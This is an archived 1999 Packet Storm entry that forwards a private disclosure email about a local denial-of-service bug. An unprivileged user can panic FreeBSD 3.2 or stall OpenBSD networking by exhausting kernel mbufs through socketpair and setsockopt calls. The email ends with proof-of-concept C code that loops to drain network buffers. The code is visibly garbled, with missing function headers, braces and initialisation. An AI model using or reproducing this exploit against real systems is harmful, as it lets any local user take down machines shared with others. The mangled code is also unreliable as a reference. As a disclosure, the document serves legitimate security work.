Type packetstorm
Reporter Packet Storm
Modified 1999-09-19T00:00:00


                                            `Subject: Local DoS on network by unpriviledged user using setsockopt()  
Recently, I mailed this mailing to a number of people who are concerned  
with security of various OSes, like FreeBSD, OpenBSD and NetBSD. The  
mailing was NOT intended to be made public, but somehow it was. Here is  
my original mailing:  
--- Forwarded ---  
I stumbled across a denial of service attack on FreeBSD systems, where  
an unpriviledged user can panic the kernel. Quick and dirty testing  
(code attached at the end of this mail) showed OpenBSD is vulnerable  
FreeBSD - 3.2-RELEASE: the kernel panics. I haven't had a chance to  
test it on older FreeBSD versions.  
OpenBSD 2.4 - GENERIC kernel & OpenBSD 2.5-current with NMBSCLUSTERS=8192:  
The kernel logs one "/bsd: mb_map full" and all processes trying to send  
something over the network get stuck waiting in mbuf. Locally the system  
continues to function. Tested by a friend.  
NetBSD: Not available, but it is highly probable that the affected code  
in OpenBSD is from its parent NetBSD.  
As far as I'm concerned, this can be handled quietly and without much  
haste. Knowledge of this problem is limited and there is absolutely no  
intention of publishing this exploit or messages to Bugtraq.  
With kind regards,  
Sven Berkvens (  
Long time FreeBSD-system administrator  
The source code for the program that causes this:  
#include <unistd.h>  
#include <sys/socket.h>  
#include <fcntl.h>  
#define BUFFERSIZE 204800  
extern int  
int p[2], i;  
char crap[BUFFERSIZE];  
while (1)  
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)  
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));  
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));  
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));  
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));  
fcntl(p[0], F_SETFL, O_NONBLOCK);  
fcntl(p[1], F_SETFL, O_NONBLOCK);  
write(p[0], crap, BUFFERSIZE);  
write(p[1], crap, BUFFERSIZE);  
----- End forwarded message -----